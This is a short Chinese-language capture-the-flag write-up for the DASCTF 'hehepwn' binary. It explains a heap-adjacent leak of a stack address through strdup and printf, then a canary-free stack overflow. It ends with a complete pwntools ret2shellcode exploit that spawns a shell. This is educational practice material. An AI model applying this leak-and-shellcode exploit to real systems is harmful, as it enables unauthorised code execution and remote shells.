DASCTF-hehepwn writeup
已上传网盘,方便复现
链接:https://pan.baidu.com/s/1ceYwALaUJn6TIS2eK9TN8w
提取码:ynzg
分析程序
没有开启任何保护,这里注意到开启了栈可执行,存在rwx字段,那么之后可以尝试在栈上执行ret2shellcode
使用ida分析程序
在这里可以看到存在堆上内容的泄露
strdup
:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。
那么我们将read的0x20字全部填充,在没有字符串结尾的情况下,printf
就会打印出堆块之后地址的内容
main函数中存在栈溢出,没有canary,可以直接覆盖返回地址
进行尝试
直到这里还并不知道该怎么攻击,不过既然有一个内存泄露,就先看看泄露出了什么
利用gdb进行调试
然后意外的发现,紧跟着我们申请的堆块后的被我们泄露出的地址是栈上的地址
继续跟踪发现是rbp的地址
那么既然泄露出了栈地址,又开启了栈可执行,我们就在栈上ret2shellcode了
exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./bypwn')
# io = remote('node4.buuoj.cn', 27761)
elf = ELF('./bypwn')
gdb.attach(io)
io.recvuntil(b'well you input:\n')
io.sendline(b'a' * (0x20 - 4) + b'bbbb')
io.recvuntil('bbbb')
#调试发现可泄漏地址为rbp
rbp = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(rbp))
stack = rbp - 0x50
io.recvuntil(b'EASY PWN PWN PWN~\n')
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x58, b'a')
payload = shellcode + p64(stack)
io.sendline(payload)
io.interactive()